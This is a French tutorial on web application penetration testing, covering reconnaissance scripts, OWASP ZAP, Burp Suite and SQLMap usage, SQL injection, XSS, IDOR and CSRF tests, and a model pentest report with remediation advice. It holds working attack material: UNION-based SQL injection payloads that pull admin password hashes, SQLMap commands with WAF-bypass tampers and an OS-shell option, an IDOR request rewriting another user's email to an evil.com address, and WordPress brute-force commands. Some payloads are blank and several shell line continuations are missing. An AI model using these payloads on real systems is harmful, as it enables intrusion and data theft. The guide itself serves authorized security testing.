Pentest d’Application Web : Méthodologie et Outils

Introduction : L’Art du Hacking Éthique

Le pentest (test d’intrusion) est une évaluation de sécurité qui simule une attaque réelle pour identifier les vulnérabilités d’une application web avant qu’un attaquant malveillant ne les découvre. En 2025, avec l’augmentation des cyberattaques sophistiquées, le pentest est devenu un élément indispensable du cycle de développement.

Ce guide complet explore la méthodologie professionnelle de pentest d’applications web, les outils essentiels (OWASP ZAP, Burp Suite, SQLMap), et les techniques d’exploitation responsables. L’objectif est éducatif : apprendre à défendre en comprenant comment on attaque.

Méthodologie de Pentest : Approche Professionnelle

Phases d’un Pentest Web

1. RECONNAISSANCE (Passive + Active)
   ↓
- ÉNUMÉRATION (Cartographie de l'application)
   ↓
- ANALYSE DES VULNÉRABILITÉS (Scan automatisé + manuel)
   ↓
- EXPLOITATION (Preuve de concept)
   ↓
- POST-EXPLOITATION (Pivot, élévation de privilèges)
   ↓
- RAPPORT (Documentation des findings)

Cadre Légal et Éthique

# IMPORTANT : Cadre Légal du Pentest

## Autorisations Obligatoires
- Contrat de pentest signé par le client
- Périmètre défini et documenté
- Fenêtre temporelle définie
- Contacts d'urgence identifiés

## Interdit Sans Autorisation
- Tester des systèmes dont vous n'êtes pas propriétaire
- Exploitation de vulnérabilités hors périmètre
- Exfiltration de données réelles
- Déni de service (DoS)

## Responsabilités
- Confidentialité absolue des données découvertes
- Documentation sécurisée des findings
- Suppression des backdoors/shells après le test
- Non-divulgation publique sans accord

Phase 1 : Reconnaissance

Reconnaissance Passive (OSINT)

#!/bin/bash
# reconnaissance-passive.sh - Collecte d'informations sans toucher la cible

TARGET_DOMAIN="example.com"

echo "=== Reconnaissance Passive de $TARGET_DOMAIN ==="
echo

# 1. Whois - Informations sur le domaine
echo "[+] WHOIS Lookup:"
whois $TARGET_DOMAIN | grep -E "Organization|Admin Email|Creation Date"
echo

# 2. DNS Records
echo "[+] DNS Records:"
dig $TARGET_DOMAIN ANY +noall +answer
dig $TARGET_DOMAIN MX +short
dig $TARGET_DOMAIN TXT +short
echo

# 3. Sous-domaines (via Certificate Transparency)
echo "[+] Sous-domaines (crt.sh):"
curl -s "https://crt.sh/?q=%.$TARGET_DOMAIN&output=json" | 
  jq -r '.[].name_value' | sort -u | head -20
echo

# 4. Technologies utilisées (via BuiltWith API)
echo "[+] Technologies détectées:"
# Requiert une API key gratuite
curl -s "https://api.builtwith.com/free1/api.json?KEY=YOUR_KEY&LOOKUP=$TARGET_DOMAIN"
echo

# 5. Historique de l'application (Wayback Machine)
echo "[+] Historique Wayback Machine:"
curl -s "http://archive.org/wayback/available?url=$TARGET_DOMAIN" | jq -r '.archived_snapshots.closest.url'
echo

# 6. Google Dorking (recherches avancées)
echo "[+] Google Dorks à tester manuellement:"
echo "   site:$TARGET_DOMAIN filetype:pdf"
echo "   site:$TARGET_DOMAIN inurl:admin"
echo "   site:$TARGET_DOMAIN ext:sql | ext:log | ext:bak"
echo "   site:$TARGET_DOMAIN intext:"index of" "parent directory""

Reconnaissance Active

#!/bin/bash
# reconnaissance-active.sh - Scan du périmètre

TARGET="example.com"
TARGET_IP=$(dig +short $TARGET | head -1)

echo "=== Reconnaissance Active de $TARGET ($TARGET_IP) ==="
echo

# 1. Scan de ports avec Nmap
echo "[+] Scan de ports (Nmap):"
nmap -sV -sC -p- -T4 -oN nmap-scan.txt $TARGET_IP

# Ports web communs
nmap -p 80,443,8080,8443 --script=http-enum,http-headers,http-methods $TARGET_IP

# 2. Technologies détectées
echo "[+] Technologies (Wappalyzer CLI):"
npm install -g wappalyzer
wappalyzer $TARGET

# 3. Headers HTTP
echo "[+] Headers HTTP:"
curl -sI https://$TARGET | grep -E "Server|X-Powered-By|X-AspNet-Version"

# 4. Robots.txt et sitemap
echo "[+] Fichiers de découverte:"
curl -s https://$TARGET/robots.txt
curl -s https://$TARGET/sitemap.xml

# 5. Fichiers sensibles courants
echo "[+] Test de fichiers sensibles:"
for file in ".git/HEAD" ".env" "config.php.bak" "phpinfo.php" ".DS_Store"; do
    status=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET/$file")
    if [ "$status" = "200" ]; then
        echo "   ✓ FOUND: $file (HTTP $status)"
    fi
done

Phase 2 : Énumération avec OWASP ZAP

Installation et Configuration OWASP ZAP

# Installation de ZAP sur Linux
wget https://github.com/zaproxy/zaproxy/releases/download/v2.14.0/ZAP_2.14.0_Linux.tar.gz
tar -xvf ZAP_2.14.0_Linux.tar.gz
cd ZAP_2.14.0/
./zap.sh

# Ou via Docker
docker pull zaproxy/zap-stable
docker run -u zap -p 8080:8080 -i zaproxy/zap-stable zap-webswing.sh

Scan Automatisé avec ZAP

#!/bin/bash
# zap-scan.sh - Scan automatisé avec OWASP ZAP

ZAP_PATH="/opt/zaproxy/zap.sh"
TARGET_URL="https://example.com"
REPORT_DIR="./pentest-reports"
API_KEY="your-zap-api-key"

mkdir -p "$REPORT_DIR"

echo "=== OWASP ZAP Automated Scan ==="
echo "Target: $TARGET_URL"
echo

# 1. Spider (cartographie)
echo "[+] Phase 1: Spidering..."
$ZAP_PATH -cmd -quickurl "$TARGET_URL" -quickprogress

# 2. Scan actif (détection de vulnérabilités)
echo "[+] Phase 2: Active Scanning..."
$ZAP_PATH -cmd 
  -quickurl "$TARGET_URL" 
  -quickout "$REPORT_DIR/zap-report-$(date +%Y%m%d-%H%M%S).html"

# 3. Générer rapport JSON
echo "[+] Phase 3: Génération du rapport..."
curl -s "http://localhost:8080/JSON/core/view/alerts/?apikey=$API_KEY" | 
  jq . > "$REPORT_DIR/zap-alerts.json"

# 4. Analyser les résultats
echo
echo "=== Résumé des Vulnérabilités ==="
jq -r '.alerts[] | "(.risk): (.alert) ((.count))"' "$REPORT_DIR/zap-alerts.json" | 
  sort -r

Configuration ZAP pour Authentification

# zap-auth-scan.py - Scan avec authentification
from zapv2 import ZAPv2
import time

# Connexion à ZAP
zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'})

target = 'https://example.com'
login_url = 'https://example.com/login'

# 1. Accéder à la page de login
print('[+] Accessing login page...')
zap.urlopen(login_url)

# 2. Soumettre le formulaire de login
print('[+] Logging in...')
zap.urlopen(login_url + '?username=testuser&password=testpass')
time.sleep(2)

# 3. Vérifier l'authentification
if 'logout' in zap.core.htmlreport():
    print('[+] Authentification réussie')
else:
    print('[!] Échec de l'authentification')
    exit(1)

# 4. Spider en étant authentifié
print('[+] Spidering as authenticated user...')
scan_id = zap.spider.scan(target)
while int(zap.spider.status(scan_id)) < 100:
    print(f'Spider progress: {zap.spider.status(scan_id)}%')
    time.sleep(2)

# 5. Scan actif
print('[+] Active scanning...')
scan_id = zap.ascan.scan(target)
while int(zap.ascan.status(scan_id)) < 100:
    print(f'Scan progress: {zap.ascan.status(scan_id)}%')
    time.sleep(5)

# 6. Récupérer les alertes
print('[+] Generating report...')
alerts = zap.core.alerts(baseurl=target)

for alert in alerts:
    print(f"n{alert['risk']} - {alert['alert']}")
    print(f"URL: {alert['url']}")
    print(f"Description: {alert['description'][:100]}...")

# 7. Sauvegarder le rapport
with open('zap-report.html', 'w') as f:
    f.write(zap.core.htmlreport())

print('n[+] Rapport sauvegardé: zap-report.html')

Phase 3 : Analyse avec Burp Suite

Interception et Manipulation de Requêtes

# Burp Suite : Workflow Professionnel

## 1. Configuration du Proxy
- Burp Suite écoute sur 127.0.0.1:8080
- Configurer le navigateur pour utiliser ce proxy
- Installer le certificat CA de Burp pour HTTPS

## 2. Target Scope
- Définir le scope: example.com/*
- Exclure: analytics, CDN externes
- Filtrer le trafic uniquement dans le scope

## 3. Spider
- Crawl passif en naviguant manuellement
- Crawler actif pour découvrir endpoints cachés
- Analyser la sitemap générée

## 4. Intruder (Fuzzing)
- Identifier les points d'injection
- Charger des payloads (SQL, XSS, etc.)
- Analyser les réponses pour détecter anomalies

## 5. Repeater
- Rejouer des requêtes modifiées
- Tester différents payloads manuellement
- Analyser les réponses en détail

Exemple : Découvrir une Vulnérabilité SQL Injection

# Requête originale interceptée dans Burp Suite
POST /api/users/search HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "search": "john"
}

# Test 1 : Simple quote (détecter l'erreur SQL)
{
  "search": "john'"
}
# Réponse : 500 Internal Server Error
# "You have an error in your SQL syntax..."
# → Vulnérabilité SQL Injection confirmée !

# Test 2 : Union-based injection (extraire des données)
{
  "search": "john' UNION SELECT 1,username,password,4 FROM admins--"
}
# Réponse : Liste des admins avec hashes de mots de passe

# Test 3 : Time-based blind injection (si pas de retour direct)
{
  "search": "john' AND SLEEP(5)--"
}
# Temps de réponse : 5 secondes → Confirmation de l'injection

# Preuve de concept sécurisée (ne pas exfiltrer de vraies données)
{
  "search": "john' UNION SELECT 1,2,DATABASE(),4--"
}
# Réponse : Nom de la base de données → POC suffisant pour le rapport

Phase 4 : Exploitation avec SQLMap

SQL Injection Automatisée

#!/bin/bash
# sqlmap-exploitation.sh - Exploitation automatisée de SQL injection

TARGET_URL="https://example.com/api/users/search"

echo "=== SQLMap Exploitation ==="
echo "Target: $TARGET_URL"
echo

# 1. Détection de la vulnérabilité
echo "[+] Phase 1: Détection de SQL injection..."
sqlmap -u "$TARGET_URL" 
  --data='{"search":"test"}' 
  --method=POST 
  --headers="Content-Type: application/json" 
  --batch 
  --level=5 
  --risk=3

# 2. Énumération des bases de données
echo "[+] Phase 2: Énumération des bases de données..."
sqlmap -u "$TARGET_URL" 
  --data='{"search":"test"}' 
  --method=POST 
  --headers="Content-Type: application/json" 
  --dbs 
  --batch

# 3. Énumération des tables
echo "[+] Phase 3: Énumération des tables de 'myapp_db'..."
sqlmap -u "$TARGET_URL" 
  --data='{"search":"test"}' 
  --method=POST 
  --headers="Content-Type: application/json" 
  -D myapp_db 
  --tables 
  --batch

# 4. Dumper le contenu d'une table (AVEC PRÉCAUTION)
echo "[+] Phase 4: Extraction de données (colonnes uniquement)..."
sqlmap -u "$TARGET_URL" 
  --data='{"search":"test"}' 
  --method=POST 
  --headers="Content-Type: application/json" 
  -D myapp_db 
  -T users 
  --columns 
  --batch

# ATTENTION : Ne jamais dumper de vraies données utilisateurs
# Pour le pentest, extraire seulement :
# - La structure (colonnes)
# - 1-2 lignes de test
# - Le compte de lignes

# 5. OS Shell (si possible, TRÈS DANGEREUX)
# sqlmap -u "$TARGET_URL" --os-shell
# ⚠️ Ne faire qu'avec autorisation explicite

echo
echo "[+] Exploitation terminée. Vérifier les rapports dans ~/.sqlmap/output/"

SQLMap : Options Avancées

# Exploitation avec authentification
sqlmap -u "https://example.com/profile?id=1" 
  --cookie="PHPSESSID=abc123xyz" 
  --level=5 
  --risk=3

# Exploitation via requête GET avec paramètres multiples
sqlmap -u "https://example.com/search?q=*&category=*&page=1" 
  --batch

# Exploitation avec WAF bypass
sqlmap -u "https://example.com/api/search" 
  --data='search=test' 
  --tamper=space2comment,between 
  --random-agent 
  --delay=2

# Exploitation time-based (plus lente mais furtive)
sqlmap -u "https://example.com/product?id=1" 
  --technique=T 
  --time-sec=5

# Dump sélectif (seulement certaines colonnes)
sqlmap -u "https://example.com/user?id=1" 
  -D myapp 
  -T users 
  -C id,username,email 
  --dump 
  --stop=5  # Seulement 5 lignes

Autres Vulnérabilités à Tester

XSS (Cross-Site Scripting)

#!/bin/bash
# xss-testing.sh - Tester les vulnérabilités XSS

TARGET="https://example.com/search?q="

# Payloads XSS à tester
PAYLOADS=(
  ""
  ""
  ""
  "'-alert('XSS')-'"
  "">"
)

echo "=== XSS Testing ==="
echo

for payload in "${PAYLOADS[@]}"; do
    encoded=$(echo "$payload" | jq -sRr @uri)
    url="${TARGET}${encoded}"

    echo "[+] Testing: $payload"

    response=$(curl -s "$url")

    # Vérifier si le payload est présent dans la réponse (non échappé)
    if echo "$response" | grep -q "$payload"; then
        echo "    [!] VULNERABLE: Payload reflété sans échappement"
    else
        echo "    [✓] Safe: Payload échappé ou filtré"
    fi
done

CSRF (Cross-Site Request Forgery)




    


    # Test CSRF - Suppression de compte

    

    

        
    

    

    

        **Preuve de concept CSRF**

        Si l'application n'utilise pas de token CSRF, soumettre ce formulaire
        exécutera l'action de suppression de compte à l'insu de l'utilisateur.
    

    
        Soumettre (POC)
    



IDOR (Insecure Direct Object Reference)
#!/bin/bash
# idor-testing.sh - Tester les vulnérabilités IDOR

# Scénario : API REST avec endpoints d'utilisateurs

BASE_URL="https://example.com/api"
AUTH_TOKEN="Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

echo "=== IDOR Testing ==="
echo

# Créer un utilisateur de test (ID 100)
# Créer un autre utilisateur (ID 101)

# Test 1 : Accéder à son propre profil (légitime)
echo "[+] Test 1: Accès légitime (propre profil)"
curl -s -H "Authorization: $AUTH_TOKEN" 
  "$BASE_URL/users/100" | jq -r '.username'

# Test 2 : Tenter d'accéder au profil d'un autre utilisateur
echo "[+] Test 2: Tentative d'accès à un autre profil (IDOR)"
response=$(curl -s -o /dev/null -w "%{http_code}" 
  -H "Authorization: $AUTH_TOKEN" 
  "$BASE_URL/users/101")

if [ "$response" = "200" ]; then
    echo "    [!] VULNERABLE: IDOR détecté - Accès non autorisé possible"
    curl -s -H "Authorization: $AUTH_TOKEN" "$BASE_URL/users/101" | jq .
elif [ "$response" = "403" ] || [ "$response" = "401" ]; then
    echo "    [✓] Safe: Accès refusé (HTTP $response)"
else
    echo "    [?] Réponse inattendue: HTTP $response"
fi

# Test 3 : Modifier le profil d'un autre utilisateur
echo "[+] Test 3: Tentative de modification d'un autre profil"
response=$(curl -s -o /dev/null -w "%{http_code}" 
  -X PUT 
  -H "Authorization: $AUTH_TOKEN" 
  -H "Content-Type: application/json" 
  -d '{"email":"hacker@evil.com"}' 
  "$BASE_URL/users/101")

if [ "$response" = "200" ]; then
    echo "    [!] CRITICAL: Modification non autorisée possible"
else
    echo "    [✓] Safe: Modification refusée (HTTP $response)"
fi

Exploitation Avancée : Chaîne d'Attaques
Scénario Réel : XSS → Session Hijacking → Account Takeover
// 1. Payload XSS pour voler le cookie de session
// Injecté dans un champ vulnérable (ex: nom d'utilisateur)



// 2. Serveur de l'attaquant (webhook.site ou serveur custom)
// Reçoit : PHPSESSID=abc123xyz; user_id=42

// 3. L'attaquant utilise le cookie volé
// curl -b "PHPSESSID=abc123xyz" https://example.com/account
// → Accède au compte de la victime sans mot de passe

// 4. Preuve de concept éthique (pour le rapport)


Phase 5 : Rapport de Pentest
Structure du Rapport
# Rapport de Test d'Intrusion
Application Web: example.com
Date: 2025-01-15
Pentester: [Nom]
Niveau: Complet (Black Box + Grey Box)

## 1. Résumé Exécutif

### Synthèse
L'application présente **3 vulnérabilités critiques** et **5 vulnérabilités moyennes**
nécessitant une correction immédiate avant la mise en production.

### Score de Risque Global: 7.8/10 (Élevé)

### Vulnérabilités Critiques
- SQL Injection (CVSS 9.8) - /api/users/search
- XSS Stored (CVSS 8.1) - /profile/edit
- IDOR (CVSS 7.5) - /api/documents/:id

## 2. Méthodologie

### Périmètre
- URLs testées: example.com, api.example.com, admin.example.com
- Période: 2025-01-10 au 2025-01-15
- Type: Grey Box (credentials de test fournis)

### Outils Utilisés
- OWASP ZAP 2.14.0
- Burp Suite Professional 2024.1
- SQLMap 1.7.12
- Nmap 7.94
- Custom scripts

### Limitations
- Tests DoS exclus (selon contrat)
- Tests de Social Engineering exclus
- Tests d'infrastructure réseau limités

## 3. Findings Détaillés

### [CRITICAL] SQL Injection - /api/users/search

**CVSS Score**: 9.8 (Critical)
**CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

#### Description
Le paramètre search de l'endpoint /api/users/search est vulnérable à une
injection SQL permettant à un attaquant non authentifié d'extraire l'intégralité
de la base de données.

#### Preuve de Concept

http

POST /api/users/search HTTP/1.1

Host: example.com

Content-Type: application/json
{

  "search": "test' UNION SELECT 1,username,password,4 FROM admins--"

}
**Résultat**: Extraction des hashes de mots de passe des administrateurs.

#### Impact
- Exfiltration complète de la base de données (clients, commandes, données bancaires)
- Modification de données (prix, stocks)
- Possible prise de contrôle du serveur (OS command injection via SQL)

#### Recommandations
- **Immédiat**: Utiliser des requêtes préparées (Prepared Statements)
- **Court terme**: Implémenter une WAF avec règles anti-SQLi
- **Long terme**: Code review complet de tous les points d'accès BDD

#### Code de Remédiation

php

// ❌ Code vulnérable

$sql = "SELECT  FROM users WHERE username LIKE '%{$search}%'";

$result = $pdo->query($sql);
// ✅ Code sécurisé

$stmt = $pdo->prepare("SELECT * FROM users WHERE username LIKE ?");

$stmt->execute(['%' . $search . '%']);

$result = $stmt->fetchAll();
### [CRITICAL] XSS Stored - /profile/edit

**CVSS Score**: 8.1 (High)
**CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

#### Description
Le champ "Bio" du profil utilisateur ne sanitise pas les entrées HTML,
permettant le stockage de scripts malveillants exécutés par tous les visiteurs.

#### Preuve de Concept

html


#### Impact
- Vol de session (session hijacking)
- Defacement de la page
- Redirection vers site malveillant
- Keylogging

#### Recommandations
- Échapper toutes les sorties HTML (htmlspecialchars())
- Implémenter CSP strict
- Validation côté serveur (whitelist de tags autorisés)

## 4. Récapitulatif des Vulnérabilités

| Sévérité | Nombre | Exemples |
|----------|--------|----------|
| Critical | 3 | SQL Injection, XSS Stored, IDOR |
| High | 5 | CSRF, Information Disclosure, Weak Auth |
| Medium | 8 | Missing Security Headers, Outdated Libraries |
| Low | 12 | Verbose Errors, Autocomplete Enabled |
| Info | 15 | SSL Config, Cookie Flags |

__Total__: 43 findings

## 5. Plan de Remédiation Prioritaire

### Semaine 1 (URGENT)
- [ ] Corriger SQL Injection (/api/users/search)
- [ ] Corriger XSS Stored (/profile/edit)
- [ ] Corriger IDOR (/api/documents/:id)

### Semaine 2-3
- [ ] Implémenter protection CSRF globale
- [ ] Configurer headers de sécurité (CSP, HSTS, etc.)
- [ ] Audit complet des accès non autorisés

### Semaine 4+
- [ ] Mettre à jour les dépendances vulnérables
- [ ] Implémenter rate limiting
- [ ] Configurer logging de sécurité

## 6. Conclusion

L'application présente des vulnérabilités critiques qui doivent être corrigées
avant toute mise en production. Un retest est recommandé après correction pour
valider les remèdes.

### Recommandations Globales
- Intégrer SAST/DAST dans le CI/CD
- Formation sécurité pour l'équipe dev
- Pentests réguliers (tous les 6 mois)
- Bug bounty program

---
**Rapport confidentiel** - Ne pas diffuser sans autorisation

Outils Complémentaires
Nikto : Scanner de Serveur Web
# Scan complet avec Nikto
nikto -h https://example.com -output nikto-report.html -Format html

# Scan avec authentification
nikto -h https://example.com -id username:password

# Scan ciblé (plugins spécifiques)
nikto -h https://example.com -Plugins "headers,cookies,ssl"

WPScan : Scanner WordPress
# Scan WordPress complet
wpscan --url https://example.com --enumerate ap,at,cb,dbe

# Avec API token pour vulnérabilités connues
wpscan --url https://example.com --api-token YOUR_TOKEN

# Brute force (avec autorisation)
wpscan --url https://example.com --passwords passwords.txt --usernames admin

Nuclei : Scanner de Vulnérabilités Moderne
# Installation
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# Scan avec tous les templates
nuclei -u https://example.com -t ~/nuclei-templates/

# Scan sévérité critique uniquement
nuclei -u https://example.com -severity critical,high

# Scan technologies spécifiques
nuclei -u https://example.com -tags cve,owasp,exposure

Checklist de Pentest Web
# Checklist Pentest Application Web

## Reconnaissance
- [ ] WHOIS et DNS enumeration
- [ ] Sous-domaines découverts
- [ ] Technologies identifiées
- [ ] Historique Wayback Machine consulté
- [ ] Google Dorking effectué

## Cartographie
- [ ] Spider automatique (ZAP/Burp)
- [ ] Énumération manuelle des endpoints
- [ ] Analyse du JavaScript (endpoints cachés)
- [ ] Analyse des fichiers statiques (robots.txt, sitemap.xml)

## Authentification
- [ ] Politique de mots de passe testée
- [ ] Brute force testé (avec rate limiting)
- [ ] Récupération de mot de passe testée
- [ ] 2FA bypassable?
- [ ] Session management (timeout, fixation, hijacking)

## Autorisation
- [ ] IDOR testé sur tous les endpoints
- [ ] Élévation de privilèges tentée
- [ ] Accès horizontal testé (utilisateur A → B)
- [ ] Accès vertical testé (user → admin)

## Injection
- [ ] SQL Injection (GET, POST, Headers, Cookies)
- [ ] NoSQL Injection
- [ ] Command Injection
- [ ] LDAP Injection
- [ ] XML Injection (XXE)

## XSS
- [ ] XSS Reflected (tous les inputs)
- [ ] XSS Stored
- [ ] XSS DOM-based
- [ ] CSP bypass tenté

## Autres Vulnérabilités
- [ ] CSRF sur actions sensibles
- [ ] SSRF testé
- [ ] File Upload (RCE, path traversal)
- [ ] XXE (XML External Entity)
- [ ] Deserialization

## Configuration
- [ ] Headers de sécurité analysés
- [ ] SSL/TLS configuration
- [ ] CORS configuration
- [ ] Dépendances vulnérables (npm audit, composer audit)

## Logique Métier
- [ ] Race conditions
- [ ] Prix manipulation
- [ ] Workflow bypass
- [ ] Limites métier respectées

Conclusion
Le pentest d'application web est un exercice complexe qui combine compétences techniques, créativité et éthique. Les outils automatisés (ZAP, Burp, SQLMap) sont puissants mais ne remplacent pas l'analyse manuelle et la compréhension de la logique métier.
Points Clés
Toujours avoir une autorisation : Pentest sans accord = illégal
Documentez tout : Chaque test, chaque finding, chaque POC
Soyez responsable : Ne causez pas de dommages, ne volez pas de données
Communiquez : Alertez immédiatement en cas de vulnérabilité critique
Améliorez la sécurité : L'objectif est de défendre, pas d'attaquer

Le pentest n'est pas une activité ponctuelle mais un processus continu dans le cycle de développement sécurisé.


	
Articles similaires